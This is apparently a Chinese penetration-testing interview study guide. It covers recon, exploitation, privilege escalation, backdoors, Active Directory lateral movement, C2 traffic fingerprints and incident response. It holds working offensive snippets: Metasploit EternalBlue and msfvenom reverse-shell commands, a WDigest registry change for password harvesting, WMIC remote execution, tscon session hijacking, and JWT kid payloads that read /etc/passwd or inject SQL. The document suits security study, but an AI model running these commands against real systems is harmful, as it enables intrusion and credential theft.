安全知识汇总

张天师大约 31 分钟

梳理网络安全知识点为自己查漏补缺。

信息收集

你是如何做资产信息收集的?

即查找目标所有的暴露面

1)企业组织架构信息收集(域名、APP和小程序、子公司和对外投资、供应商)

2)子域名枚举(自己开发工具-被动收集加主动爆破)

3)IP资产梳理(准确IP全端口、C段常见端口、目标开放服务和Web应用指纹识别)

4)目录扫描(后台、备份文件、敏感页面、未授权接口)

5)敏感信息(文档、Github搜源码、Google hacker)

如何绕过网站CDN获取真实IP?

1)空间搜索引擎(title="xxx"、cert="xxx.comopen in new window"、icon_hash="xxx")

2)解析子域名,或许有没上CDN的

3)让服务器主动发起请求(SSRF漏洞、注册让其发邮件)

如何判断高交互蜜罐?

1)一般蜜罐里面 F12 被禁用(Debug)

2)网络一直发送HTTP请求给Jsonp

只有一个登录框如何渗透测试?

1)SQL注入万能密码 ( admin' or 1=1 --)

2)弱口令爆破

3)目录扫描,分析JS代码查找敏感信息

4)目录遍历,Crtl+u查看源码,访问静态文件目录尝试遍历目录

5)逻辑漏洞(任意用户注册、改返回包绕过前端登录验证)

如果给你一个网站你如何判断后端是什么数据库?

1)通过开放端口判断

2)通过网站开发使用的技术栈判断

3)尝试让网站报数据库语法错误判断

常见技术栈组合如下

PHP + MySQL + Apache
ASP + MSSQL + IIS
JSP + Oracle + Tomcat

漏洞利用

Redis未授权访问如何利用,利用条件是什么?

利用条件

当redis以root账户运行,无密码或者弱密码认证,并且绑定0.0.0.0可非本机访问的情况下;

Linux利用方式

上传SSH公钥登录SSH,原理是在redis中插入一条数据;

在Web目录写Webshell;

Crontab定时任务反弹shell;

利用slave主从复制实现RCE远程命令执行;

Windows利用方式

Web目录写Webshell

写入启动项(需重启)

写入MOF(仅限03系统)

防御措施

1、降权运行redis

2、使用复杂的密码

3、限制IP禁止外网访问

4、另外redis默认不生成日志,可以自己配置来生成日志

redis getshell中什么样的操作比较危险?

主从复制getshell的时候全量复制可能会覆盖原有数据。

IIS有哪些历史漏洞?

1)IIS 6.0 PUT文件上传漏洞

开启WebDAV服务、网站目录允许来宾用户写入可用IISPutScanner工具上传文件

2)IIS6.0 解析漏洞

基于文件

IIS6.0默认不解析;号后面的内容,例如1.asp;.jpg会当成1.asp解析,相当于分号截断。

基于文件夹

IIS6.0会将/*.asp/文件夹下的文件当成asp解析。

3)IIS7.0/7.5 解析漏洞

IIS7.*在FastCGI运行php的情况下,php默认配置cgi.fix_pathinfo=1,导致在任意文件后面添加/.php,服务器就会解析成php。

IIS对应windows系统版本
Windows Server 2003 			#IIS 6.0
Windows Server 2008 SP2,SP3	   #IIS 7.0 
Windows Server 2008 R2 			#IIS 7.5 
Windows Server 2012 			#IIS 8.0 
Windows Server 2012 R2			#IIS 8.5 
windows Server 2016				#IIS 10
有哪些解析漏洞?

Apache解析漏洞

Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断。

如 test.php.rar 会被apache解析成php

Nginx <8.03 空字节代码执行漏洞

影响版本:0.5.,0.6,0.7 <= 0.7.65,0.8 <= 0.8.37

在图片中嵌入PHP代码然后通过访问,来执行其中的代码

xxx.jpg%00.php
IIOP听说过吗,和什么类似?

java RMI通信,也就是远程方法调用,默认是使用jrmp协议,也可以选择IIOP

Java/PHP反序列化产生原因,如何防御?

由于Java序列化机制的特殊性质,攻击者可以在序列化和反序列化的过程中注入恶意代码

  1. 不受信任的数据来源:如果应用程序接受来自不受信任的数据源(例如网络输入或文件输入)
  2. 反序列化过程中缺乏验证:在反序列化对象时,应用程序可能没有对反序列化数据进行验证

以下是一些可能的防御措施:

  1. 限制应用程序接受数据的来源,避免来自不受信任的数据源的输入
  2. 在反序列化数据时,对数据进行验证,并拒绝不合法的数据
  3. 在序列化和反序列化数据时,使用加密算法加密数据,从而保护数据不被攻击者操纵
  4. 使用安全的Java序列化库,例如Google的Gson,这些库支持反序列化过程中对数据进行验证
  5. 及时更新和修补应用程序和操作系统,以修复已知的安全漏洞和弱点,减少攻击者利用漏洞的机会
JNDI注入的原理

JNDI(JavaNaming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,JNDI规范允许我们通过对象的名称来访问这个数据源对象,而该对象可能储存在不同的命名或目录服务中,例如JDBC、LDAP、RMI、DNS、NIS、CORBA。

其应用场景比如:动态加载数据库配置文件,从而保持数据库代码不变动等

JNDI注入通过远程加载远程class执行恶意代码

攻击者可以通过构造恶意的JNDI URL(Uniform Resource Locator),将恶意对象注册到JNDI目录服务器中,并在Java应用程序中使用该URL来获取对象,从而导致恶意代码执行。

MS17-010 Enternal Blue 这个漏洞你怎么利用?

MSF反弹shell

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
show targets	#修改设置参数
show options	#修改设置参数
exploit

权限提升

如何提升系统权限?

Windows

1)查看系统补丁,用类似 CVE-2020-0787 这些系统漏洞提权

2)BypassUAC

3)烂土豆提权

Linux

Sudo滥用提权

SUID提权

内核漏洞提权(脏牛)

简单说下烂土豆提权提权原理?
  • 烂土豆使用NTLM(NT LAN Manager)身份验证协议进行远程过程调用(RPC)连接。
  • 烂土豆会创建一个伪造的RPC服务,并设置服务的安全描述符为允许系统管理员级别的权限。然后创建一个DCOM(Distributed Component Object Model)对象,并连接到伪造的RPC服务。
  • Windows会检查连接的安全描述符,由于设置了管理员级别的权限,Windows会将DCOM对象连接的进程升级为管理员权限,从而实现提权。
UAC是如何进行鉴权校验的? BypassUAC的常见方法有哪些?

UAC通过访问控制列表(ACL)实现用户访问控制,ACL决定了拥有何种权限的用户/进程能访问某资源。

1)利用白名单程序

2)DLL劫持

3)COM劫持

请简述脏牛漏洞提权的原理?

该漏洞的原因是get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,

可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。

当我们向带有MAP_PRIVATE标记的只读文件映射区域写数据时,会产生一个映射文件的复制(COW),对此区域的任何修改都不会写回原来的文件,

如果上述的竞态条件发生,就能成功的写回原来的文件。比如我们修改su或者passwd程序就可以达到root的目的。

MySQL提权的方式有哪些?利用条件?

MOF提权

root账户

03系统

mof目录可写

secure_file_priv为空表示对mysql导入导出不做限制 在my.ini可以配置

UDF提权

Create function 调用udf.dll,以系统权限执行系统命令

SQL Server提权的方式有哪些?
xp_cmdshell
SP_OACreate
Openrowset沙盒
SQL Server代理执行计划任务
CLR公共语言运行时通过.NET程序调用powershell执行系统命令
假设SQL Server为sa权限,如何不通过xp_cmdshell执行系统命令?

1)有.net环境可以使用SQL Server的CLR(Common Language Runtime)功能创建一个CLR存储过程,其中使用C#编写的代码调用PowerShell来执行所需的系统命令。

2)安装了SQL Server Agent,可以创建一个作业(Job),在作业中设置步骤以执行所需的系统命令。使用sp_start_job存储过程来启动该作业,从而执行系统命令。

权限维持

Linux有哪几种后门实现方式?

ssh软链接后门

增加超级用户帐号

SSH公钥登陆

Crontab定时任务

Rootkit工具包

ssh软链接后门的原理是什么,可以通过该原理构造其他后门吗?

/etc/pam.d/su 中的pam_rootok.so使得UID为0的用户可以无需密码直接通过认证。

当通过特定端口连接SSH后,软链接文件为/tmp/su,应用就会寻找到/etc/pam.d/su作为配置文件,从而可以实现无密码登陆。

Windows有哪几种后门实现方式?

映像劫持Shift

添加影子账户

木马加入开机启动项

通道构建

常用哪些方式构建内网通道?

SSH高权限端口转发

FRP反向代理

目标不出网的情况下如何做内网通道,是什么原理?

Neo-reGeorg正向代理

其原理为在本地建立监听,提供socket服务,将数据通过http/https传递到webshell上做中转

服务端通信原理是通过session来接收socket转发收到的内容

横向渗透

你有一个webshell但无法执行系统命令,无法上传,怎么进行内网渗透?

假设这两个问题无法解决。

1)翻阅配置文件查找敏感信息

2)再通过漏洞点上传一个正向代理的webshell,尝试向内网其它脆弱资产横向移动

你横向渗透的常用手法有哪些?
抓hash和明文密码 -> hash传递和内网密码喷洒
翻阅配置文件查找敏感信息
获取历史凭证(history、浏览器、RDP连接凭证、xshell连接凭证)
弱口令
Web应用漏洞
系统漏洞ms17010
目标只开了139端口能否利用永恒之蓝?

需要使用445端口的SMB文件共享服务,以ms17_010为例我试过关闭445是不行的

内网渗透怎么获取服务器账号密码?

1)mimkatz抓hash和明文密码

2)翻阅配置文件,历史记录

3)密码喷洒:同密码重复利用

4)暴力破解弱口令

Mimikatz抓密码原理?
  1. 进程注入
    • Mimikatz通过利用Windows进程注入技术,将自身的代码注入到lsass.exe进程中
  2. 抓取凭据
    • 一旦Mimikatz成功地注入到目标进程中,它就可以访问该进程的内存空间,以获取其中保存的凭据信息。lsass.exe进程是Windows操作系统中的身份验证进程,负责处理用户登录的凭据。

如果目标用户在线则能提取到明文密码,或者提取到NTLM哈希值去离线解密。

不用mimikatz怎么抓明文密码?

DumpMinitool或者注册表导出hash,然后彩虹表离线破解。

彩虹表是通过预先计算大量的密码和其对应的哈希值,并将它们存储在一个巨大的数据表中,以便在需要时快速进行哈希值的反查找。

Server 12限制了抓明文密码,怎么绕过?

改注册表开启Wdigest+rundll32强制锁屏+等管理员重新登录即可抓

哪个补丁导致了mimikatz无法利用,如何绕过?

原理是从lsass进程抓取内存

Windows Server 2012 之后的版本默认关闭Wdigest,无法从内存中获取明文密码。

2012之前的版本安装了KB2871997,同样无法获取明文密码

开启和关闭Wdigest的命令

#开启,值为1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

#关闭,值为0
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
有哪些横向执行命令的方法?
psexec
wmic
net use共享+计划任务+type命令
psexec的底层实现原理是什么?

命名管道连接SMB共享

psexec和wmic的区别?

psexec会记录大量日志,wmic不会记录下日志,更为隐蔽。

横向渗透中,wmic如何构造有回显的命令执行?

WMIC进程调用把命令执行结果重定向到一个文本文件

#WMIC进程调用
WMIC /Node:192.168.1.120 /user:administrator /password:admin123 Process Call Create "cmd /c whoami > C:\Users\Public\Videos\out.txt"

#利用type查看结果
net use \\192.168.159.130\c$
type \\192.168.1.120\c$\Users\Public\Videos\out.txt
桌面有管理员会话,想要做会话劫持怎么做?

首先提权到system权限,能够劫持任何处于已登录用户的会话,而无需获得该用户的登录凭证

#查询已登陆的用户会话
quser

#劫持用户会话
tscon ID /dest:console
你入侵了一台非域成员主机,如何快速定位到其它域成员主机?

PowerView 枚举域内登陆的用户

Import-Module .\powerview.ps1
Invoke-UserHunter
如何查询域管登录过的机器,查询原理又是什么?

定位域管两种手段:日志和会话。

psloggedon工具查询,原理是检测注册表中HKEY_USERS的key值、调用了NetSessionEnum的API来判断谁登录过哪台机器。

域控开放的常见端口有哪些?
53	#DNS Server
88	#KDC 密钥分发中心
389	#LDAP 轻量目录访问协议
445	#SMB
如何查询域之间的信任关系?
nltest /domain_trusts
内网KDC服务器开放在哪个端口,针对kerbores的攻击有哪些?

哈希传递(PTH)、票据传递、金银票后门

你是域成员,如何拿到域控制器?

定位域控 net time /domain、 net group "domain controllers" /domain

1)通过抓取域管登陆服务器的hash(不断抓HASH+PTH攻击)

2)通过运维人员不恰当的密码管理(弱口令、Wiki系统等记录域高权限账户)

3)通过委派来获取域控权限

4)通过NTLM中继

5)通过域控相关的漏洞(ms14068、Zerologon、NoPAC、Print Spooler)

内网渗透拿到了域控制器怎么维持权限?

黄金票据后门

通过卷影拷贝导出ntds.dit获取域内所有用户hash

黄金票据是什么?

在域中,每个用户账号的票据都是由Krbtgt生成的,这个账号的密码,储存在域控服务上 。

TGT票据,因为它是由域账号krbtgtNTLM Hash加密和签名的

伪造TGT票据跳过kerberos认证服务器认证过程获取任意server票据

Wndows内网中NTLM协议认证过程?
  1. 客户端请求认证: 用户在客户端系统上尝试访问资源(例如共享文件夹)。客户端会发送一个认证请求到服务器。
  2. 服务器返回随机数: 服务器收到认证请求后,会生成一个随机数(称为Challenge),然后将其发送回给客户端。
  3. 客户端响应: 客户端接收到服务器发送的Challenge后,会使用用户的密码和Challenge进行一系列计算,生成一个值,这个值被称为“Response”。
  4. 客户端发送响应给服务器: 客户端将生成的Response发送回服务器作为答复。
  5. 服务器验证: 服务器收到客户端发送的Response后,会使用存储在服务器上的用户密码的散列值来执行相同的计算。然后,服务器会比较客户端计算得到的Response和自己计算得到的Response是否匹配。
  6. 服务器向域控制器验证: 如果服务器上的密码散列与客户端计算得到的Response匹配,服务器会向域控制器发送请求,请求确认该用户的密码是正确的。
  7. 域控制器验证: 域控制器收到验证请求后,会将存储在Active Directory中的用户密码散列值与服务器发送的Response进行比较,以确认密码是否正确。如果一致,域控制器会向服务器发送确认信息。
  8. 服务器授权访问: 一旦域控制器确认用户的密码正确无误,服务器会授予用户访问请求资源的权限。
NTLM relay的攻击场景有哪些,使用NTLM relay会受到哪些限制?

攻击场景:Pass-the-Hash (PtH) 、Pass-the-Ticket (PtT)

限制:SMB签名禁用

Windows中如何鉴别用户身份? SID是什么? 基于SID的SID History攻击原理是什么?

SID安全标识符(Security Identifier),是Windows操作系统用于标识用户、组和计算机的唯一标识符

wmic useraccount get Caption,sid

SID History攻击是一种利用Windows Active Directory中对象的SID历史属性进行攻击的方法。

当域内的对象(如用户、组)进行跨域移动时,会保留其原始的SID,并在目标域中创建一个新的SID。同时,原始SID将添加到目标域对象的SID历史属性中。这是为了确保跨域移动的对象能够继续访问先前授予其权限的资源。攻击者可以利用SID History属性来进行横向渗透和提权。

攻击原理如下:

  1. 获取目标域对象的SID History: 攻击者首先需要获取目标域中感兴趣的用户或组的SID History属性。这可能涉及到信息收集和对目标域探测。
  2. 在攻击域中伪造SID: 接下来,攻击者会在自己控制的域中创建一个与目标域中用户或组的SID History相匹配的伪造SID。
  3. 构造访问令牌: 攻击者使用伪造的SID构造一个访问令牌(access token)。访问令牌是用于表示身份和权限的数据结构,在Windows中用于控制对资源的访问。
  4. 尝试访问目标资源: 使用伪造的访问令牌,攻击者尝试访问目标域中的资源。如果目标域没有适当的安全措施来防止SID History攻击,那么攻击者可能会成功获取资源的访问权限。

SID History攻击的防御措施包括:

  • 限制SID History的使用: 最好限制SID History的使用,仅在必要时才允许使用它,以减少横向渗透的风险。
  • 监控事件日志: 监控Windows事件日志,特别是关于安全主体的事件,可以帮助及早发现潜在的SID History攻击。
  • 强化域边界: 在网络边界和域边界实施安全策略,限制域之间的通信,可以帮助减少横向渗透的可能性。
  • 定期审查权限: 定期审查和清理域中的权限,删除不再需要的SID History,以及细化权限设置,可以提高安全性。

研判分析

100台机器如何判断哪台被log4j攻击成功?

1、确认资产属性,哪部分使用了log4j的相关组件,排除无关联资产

2、检索攻击成功的事件日志,查看响应体里的内容是否命令执行了或带有敏感数据

全流量设备没有告警,没有样本,怎么找到攻击样本?

1)流量不全或者设备规则库未覆盖到相关的资产

2)可能攻击本来就是没有文件落地,根本没有样本

3)在其它设备上或者失陷主机上查看应用请求日志

如何判断被搭建了什么隧道

1)ICMP隧道数据包中DATA 往往大于64 比特,部分隧道工具会显示tun的标志

2)SOCKS某些隧道存在一些固定16进制特征,或者通过安全设备告警排查

如何排查JAVA内存马?

1)查看Web日志,filter或者listener类型的内存马,会有页面不存在但是返回200的请求

2)内存马的Filter是动态注册的,所以在web.xml中可能没有配置

3)内存马就是代码驻留内存中,本地无对应的class文件。所以我们只要检测Filter对应的ClassLoader目录下是否存在class文件。

流量特征

CobaltStrike

1)checksum8

运行staging模式的pe文件,会向指定服务器的checksum8路径发起请求来下载stage。

stage是包含了很多功能的代码块,用于接受和执行控制端的任务并返回结果。

其中HTTP请求路径符合checksum8规则,路径的ascii之和与256取余计算值等于92或93。

32位后门是92,64位后门是93。

2)JA3/JA3s

ja3和ja3s分别代表tls握手阶段的client-hello、server-hello的数据集合计算出的哈希值(md5),相同版本相同系统下指纹相同,该特征与操作系统、cobaltstrike版本有关,profile文件无法对其修改。

72a589da586844d7f0818ce684948eea
fd4bc6cea4877646ccd62f0792ec0b62
72a589da586844d7f0818ce684948eea
652358a663590cfc624787f06b82d9ae
4d93395b1c1b9ad28122fb4d09f28c5e
a0e9f5d64349fb13191bc781f81f42e1
ae4edc6faf64d08308082ad26be60767
fd4bc6cea4877646ccd62f0792ec0b62
b742b407517bac9536a77a7b0fee28e9
Metasploit

1)默认使用4444端口作为反向连接端口

2)数据包通常包含特定字符串("meterpreter"、"revshell"等)

FRP

1)Frpc 在连接认证 Frps 的时候,会进行三次握手,会把 Frp 的版本信息发给 frps 进行认证

Version、Arch、User、Privilege_key 等字段
NPS

1)nps的认证过程三次握手客户端向服务器发送两次version的值和一次TST字段

蚁剑

每个请求体都存在以 @ini_set("display_errors","0"); @set_time_limit(0)开头。

并且响应体的返回结果是base64编码发混淆字符

哥斯拉

1)payload特征

jsp会出现xc,pass字符和Java反射,base64加解码等特征,php,asp则为普通的一句话木马

2)Cookie

Cookie字段,最后一个Cookie的值出现;(尾值出现分号)

冰蝎

1)冰蝎1.0

有一个密钥协商过程,这个过程是明文传输,并且有两次流量,用来校验

2)冰蝎2.0

使用 AES加密 + base64编码 ,AES使用动态密钥对通信进行加密,进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个。

因此当发现一个ip的请求头中的user-agent在频繁变换,就可能是冰蝎。

3)冰蝎3.0

使用 AES加密 + base64编码 ,取消了2.0的动态获取密钥,使用固定的连接密钥,AES加密的密钥为webshell连接密码的MD5的前16位,默认连接密码是"rebeyond"(即密钥是md5('rebeyond')[0:16]=e45e329feb5d925b)。

进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个。

3.0连接jsp的webshell的请求数据包中的content-type字段常见为application/octet-stream。

4)冰蝎4.0

提供了传输协议自定义的功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。

4.0版本不再有连接密码的概念,自定义传输协议的算法就是连接密码。

与冰蝎的前述版本相似,进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个。

连接的端口有一定的特征,冰蝎与webshell建立连接的同时,java也与目的主机建立tcp连接,每次连接使用本地端口在49700左右(就是比较大的端口),每连接一次,每建立一次新的连接,端口就依次增加。

使用长连接,避免了频繁的握手造成的资源开销。

默认情况下,请求头里会带有 Connection:Keep-Alive

有固定的请求头和响应头

请求字节头:dFAXQV1LORcHRQtLRlwMAhwFTAg/M

响应字节头:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd

默认时,冰蝎 webshell都有“e45e329feb5d925b” 一串密钥,与冰蝎3.0相同。

应急响应

一台服务器被植入Webshell怎么办?

1、清除Webshell:扫描网站目录,查找Webshell的位置,并删除

2、Web日志审计:根据Webshell创建时间,分析可疑的Web访问,找到漏洞位置,复现漏洞

3、修复漏洞,检查系统日志查看其它恶意活动,对服务器和Web应用进行安全加固

服务器被植入挖矿病毒如何应对?

1)分析网络流量找到挖矿病毒的进程和对外连接地址

2)根据挖矿病毒进程找到病毒文件样本,上传沙箱分析钱包地址

3)完全清除病毒样本加固服务器

Linux基线加固思路?

删除或禁用不必要账户( userdell、passwd -l )

检查是否存在空口令和root权限的账户

awk -F: ‘($2==””)’ /etc/passwd
awk -F: ‘($3==0)’ /etc/passwd

添加口令策略 (chage -m 0 -M 30 -E 2000-01-01 -W 7),设置密码输错锁定

限制能su到root的用户(vi /etc/pam.d/su)

禁止root用户直接登录

关闭不必要的服务 ( systemctl disable 服务名)

加固SSH服务 ( 使用协议版本2,修改密码允许错误次数为3 )

设置umask 027 (vi /etc/profile),即属主有全部权限,同用户组能读和执行,其它无权限;

设置登陆超时,(vi /etc/profuile),TMOUT=180,登录三分钟后超时。

开启日志功能,syslogd日志(系统日志 /var/log/messages,安全日志 /var/log/secure);

IPS和IDS的区别?

常见网络安全设备

设备功能部署方式
IDS入侵检测系统(基于流量检测攻击)旁路
IPS入侵防御系统(基于入侵行为库阻断攻击)串联
FireWall防火墙(隔离网络边界控制数据交互)串联
WAFWeb应用防火墙(基于规则阻断针对Web应用的攻击)串联
GAP网闸(信息交换与安全隔离,逻辑隔离)串联
FGAP光闸(单项信息传输,逻辑隔离)串联
堡垒机运维安全审计系统(身份验证、账号管理、授权控制、安全审计)旁路
DBAudit数据库审计(实时记录网络上的数据库活动)流量镜像
AV/EDR终端安全(基于特征和行为等查杀危险程序和进程)终端安装
SOC安全运营中心(协调所有安全技术提高检测、响应和预防能力)
AV和EDR有何区别?

AV(Antivirus)是传统的安全防护技术,它主要依靠已知的病毒特征库来检测和防御病毒。

当一个文件被扫描时,AV软件会将其与病毒特征库中的已知病毒特征进行比较。

如文件与任何一个已知的病毒特征匹配,AV将标记该文件为恶意软件并采取适当的措施来保护系统。

EDR(Endpoint Detection and Response)则是一种新兴的安全防护技术,它不仅能够检测已知的病毒,还可以发现和响应未知的威胁。

EDR软件在主机上运行,收集和分析主机的行为和活动数据,以便发现恶意活动。

EDR技术利用机器学习和人工智能等高级技术来识别异常行为,并使用防御措施来保护系统。

从主机的层面,反弹shell如何监控?

黑客一般会从最简单的TCP协议的反弹shell尝试

所以HIDS首先要监控基于TCP协议的输入流和输出流重定向流量

Linux 中让命令在后台运行的方法有哪些?

在命令后加**&,已在前台运行的用crtl+z**暂停,然后用bg将作业放到后台;

jobs -l可查看作业队列;fg可恢复到前台运行;

nohub ./test.sh & #守护进程
Rootkit的种类有哪些,针对不同种类的Rootkit应该如何防护以及检测?

固件Rootkit

虚拟化Rootkit

内核级Rootkit

库级Rootkit

应用级Rootkit

Rootkit通过加载特殊驱动,修改系统内核隐藏自身及指定文件、进程和网络链接等。

可以使用chkrootkit工具检测,定期检查MD5、更新软件、安装杀软等方式防护

对于找出的 Rootkit,最好的应对方法便是擦除并重新安装系统

安全开发&工具

Nmap扫描方式有哪几种?怎么扫描快?
-sT	#TCP全连接扫描
-sS	#TCP SYN半连接扫描 ()
-sU	#UDP
-sA	#ACK
-sF	#FIN

-T4	#设置时序模板越高越快
MSF有哪些模块?
辅 助 模 块 (Auxiliary,扫描器)扫描主机系统,寻找可用漏洞;
渗透攻击模块 (Exploits)进行漏洞利用攻击;
攻击载荷模块 (Payloads)生成攻击载荷(木马);
后渗透攻击模块 (Post)用于内网渗透的各种操作;
编 码 器 模 块 (Encoders)选择编码技术,绕过杀软(或其他免杀方式)

所有模块位置:**/usr/share/metasploit-framework/modules/

MSF如何生成木马建立监听?
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
set LHOST
set LPORT
run

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=8089 -f dll > shell.dll
SQLmap注入怎么用?
sqlmap -r bp.txt
子域名挖掘如何处理泛解析?

泛解析定义

泛域名解析是一种特殊的域名解析方式,它使用通配符*形式,设置域名解析。
它可以将没有明确设置的子域名一律解析到一个IP地址上。
这样,即使用户输入错误的子域名,也可以访问到域名持有者指定的IP地址。
但是信息收集中,这会造成请求的所有子域名都能访问的假象,从而收集到一堆无效的子域名。

Onforall的处理方法

1)随机生成3个子域名做DNS解析
2)如果没有都解析成功证明不是泛解析,都解析成功的话做HTTP请求判断
3)HTTP访问都成功则不是泛解析,反之则计算两两响应页面的相似度
4)有一组相似判断为不是泛解析,都不相似就是泛解析

自己的实现

1)用一个绝对不存在的子域名去解析A记录,如有记录则存在泛解析
2)用不存在的子域名提取CNAME记录,作为泛解析对比标志
3)接下来的流程用Lookupcname解析剩余子域名,与泛解析标志做对比,如果不一样并且不为空则此子域名存在
Go编写的端口扫描器在Linux平台漏报原因?

Golang的net.DialTimeout这个函数最终其实就是调用linux socket

而linux中任何东西都是文件,同时linux默认允许同时打开的文件数是1024

协程数量大于1024就会导致socket链接建立失败,漏报大量端口

将open files数量设置大一点即可

ulimit -n 10000	#临时解决办法,当前终端生效

#永久生效方法
echo "* soft nofile 65533" >> /etc/security/limits.conf
echo "* hard nofile 65533" >> /etc/security/limits.conf
echo session required /lib/security/pam_limits.so >> /etc/pam.d/login
#重启系统
Ajax发送POST请求会发几个数据包?

两个,一个OPTIONS预请求,一个发送数据的请求

HTTPS连接建立过程?

1、客户端发送支持的加密协议版本(TLS)

2、服务器从中筛选合适的加密协议版本

3、服务器端返回证书,证书中有公钥

4、客户端使用根证书验证证书合法性

5、客户端生成对称密钥,通过证书中的公钥加密,发送到服务端

6、服务端使用私钥解密,获取对称密钥,使用对称密钥加密数据

7、客户端解密数据,SSL加密通信建立,开始通信......

Cookie和Session有什么区别 ,后端Session是如何进行保存的?

Cookie保存在客户端,Session保存在服务端。

  • 创建唯一的Session ID,将其关联到用户请求。
  • 在服务器端创建一个对应的Session对象,用于存储和管理与该Session ID相关的数据。
  • 将Session ID发送到客户端,通常通过Cookie或URL重写。
  • 在后续的用户请求中,服务器通过Session ID来查找和恢复对应的Session对象,从而实现数据读取和写入。
JWT Token是什么,有什么安全上的风险?

https://jwt.io/open in new window

JWT(JSON Web Token)是一种用于身份验证和授权的开放标准,用于在不同系统之间传输信息。

JWT由三个部分组成,这些部分使用点(.)分隔。

header.payload.signature
  1. Header(头部): 包含有关JWT的元数据和算法信息。它通常包含两个字段:alg(用于指定用于签名的算法,例如HMAC SHA256或RSA)和typ(类型,通常值为"JWT")。
  2. Payload(负载): 包含要传输的数据。Payload中的数据称为声明(claims),声明是有关实体(通常是用户)和其他数据的声明。声明分为三种类型:注册声明(注册的声明名称,例如"iss"表示签发者),公共声明(预定义的声明名称,但不强制,例如"sub"表示主题),和私有声明(自定义声明名称)。
  3. Signature(签名): 用于验证消息的完整性和身份验证。签名使用Header中指定的算法以及一个密钥,将Header和Payload进行签名。签名是将Header、Payload和密钥结合在一起通过指定算法生成的哈希值。

JWT Token的优点:

  • 简单:由于信息是以JSON格式存储的,因此易于解析和处理。
  • 自包含:所有必要的信息都包含在Token本身中,无需查询数据库。
  • 可扩展:可以添加自定义声明来满足特定需求。

安全上的风险:

  • JWT Token伪造: 如果JWT Token中的Payload部分是可以被用户篡改的,攻击者可能会修改Token中的数据以获取未授权的权限(改用户名和ID获取对应权限,需要知道密钥,密钥一般硬编码在源码里)。
  • Token过期问题: JWT可以设置过期时间(exp)来限制Token的有效期,如果过期时间太长,增加了泄露风险。攻击者可以使用它来冒充用户或访问受保护的资源。
  • JWT None攻击:JWT支持使用空加密算法,可以在header中指定alg为None。这样的话,只要把signature设置为空(即不添加签名字段),提交到服务器,任何token都可以通过服务器的验证。
  • KID参数kid是jwt header中的一个可选参数,全称是key ID,它用于指定加密算法的密钥。

任意文件读取

kid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。

{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "/etc/passwd"
}

SQL注入

kid也可以从数据库中提取数据,这时候就有可能造成SQL注入攻击,通过构造SQL语句来获取数据或者是绕过signature的验证

{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "key11111111' || union select 'secretkey' -- "
}
僵尸进程和孤儿进程的区别是什么?

正常情况下子进程由父进程创建,子进程再创建子进程,这是一个异步过程,父进程无法预测子进程的结束,所以子进程结束后它的父进程会调用wait()或者waitpid()取得子进程的终止状态,回收子进程资源。

孤儿进程:父进程已经结束,而它的子进程还在运行,这些子进程就是孤儿进程(father died)

孤儿进程的资源由init守护进程(pid=1)回收,因此孤儿进程没什么危害。

僵尸进程:子进程退出了,父进程没用wait()获取子进程的终止状态信息,子进程描述符还在系统中。

系统中所能使用的进程号是有限的,如果大量产生僵尸进程,将因没有可用的进程号而导致系统无法产生新的进程。可以通过信号机制,子进程退出时向父进程发送SIGCHLD信号解决僵尸进程问题。

暴力解决办法直接杀死其父进程,让init进程接管做资源回收。